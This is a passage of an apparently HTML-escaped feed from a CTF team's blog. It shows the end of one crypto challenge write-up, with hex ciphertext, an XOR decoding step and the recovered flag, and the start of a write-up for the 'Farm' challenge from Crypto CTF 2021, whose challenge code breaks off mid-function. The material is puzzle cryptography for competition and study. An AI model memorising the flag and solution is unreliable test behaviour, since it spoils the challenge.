z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;fromhex&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;7c02c166645f83517e842bafef2572736ec1922599cceebaf218d991ad5853c40b81e0f3c70ef39bb22cb113ea9ae4ec05aae0dd495e6181cd98740ef1a1c1c70dd9888ca46aaaeeccc898c75268f8cfec09c8fa0060ff0c5c1e7125c279c24d&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;             &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;fromhex&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;7c02c166645f83517e842bafef2572746ee0b313bdd5d387cf25ccc3a34c54f536bcddcec658ffa68f118c13eda7d9d138ace3d1125971d3daa94933cc9cd79530e4b5b1b63ba7fcc2efa5fa6f55bb8caf4a8bb91f3fa05303412e7a9d269d129c5ca2904a34cb19c2d8172f163598ded98481a43db9d7701d4e148c1a803efc&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;xor&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-constant z-character z-escape z-hex z-python&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;16&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-constant z-character z-escape z-python&quot;&gt;\n&lt;&#x2F;span&gt;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;=&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-constant z-character z-escape z-hex z-python&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and the flag is&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;CCTF{____w0lveS____c4n____be____dan9er0uS____t0____p3oplE____!!!!!!}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Farm</title>
        <published>2021-08-01T00:00:00+00:00</published>
        <updated>2021-08-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            leonard-besseau
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/crypto/farm/"/>
        <id>https://yctf.ch/writeups/crypto/farm/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/crypto/farm/">&lt;h1 id=&quot;crypto-ctf-2021-writeup-challenge-farm&quot;&gt;Crypto CTF 2021 Writeup Challenge Farm&lt;&#x2F;h1&gt;
&lt;p&gt;For this task, we are given two file: the code and the encrypted flag.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt;!&#x2F;usr&#x2F;bin&#x2F;env sage
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-from z-python&quot;&gt;from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-source z-python&quot;&gt; &lt;span class=&quot;z-meta z-import-path z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;sage&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;all&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt; &lt;span class=&quot;z-constant z-language z-import-all z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;string&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-import-list z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-import-list z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;math&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-from z-python&quot;&gt;from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-source z-python&quot;&gt; &lt;span class=&quot;z-meta z-import-path z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;string&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;printable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-slice z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;62&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-constant z-character z-escape z-python&quot;&gt;\\&lt;&#x2F;span&gt;=&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;GF&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;64&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;&lt;span class=&quot;z-keyword z-declaration z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;keygen&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-python&quot;&gt;l&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-function z-begin z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-sequence z-list z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-sequence z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;randint&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;63&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-expression z-generator z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-for z-generator z-python&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-language z-python&quot;&gt;_&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-for z-in z-python&quot;&gt;in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;range&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;l&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-sequence z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;math&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;prod&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; Optimization the key length :D
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-keyword z-control z-flow z-return z-python&quot;&gt;return&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;&lt;span class=&quot;z-keyword z-declaration z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;maptofarm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-function z-begin z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
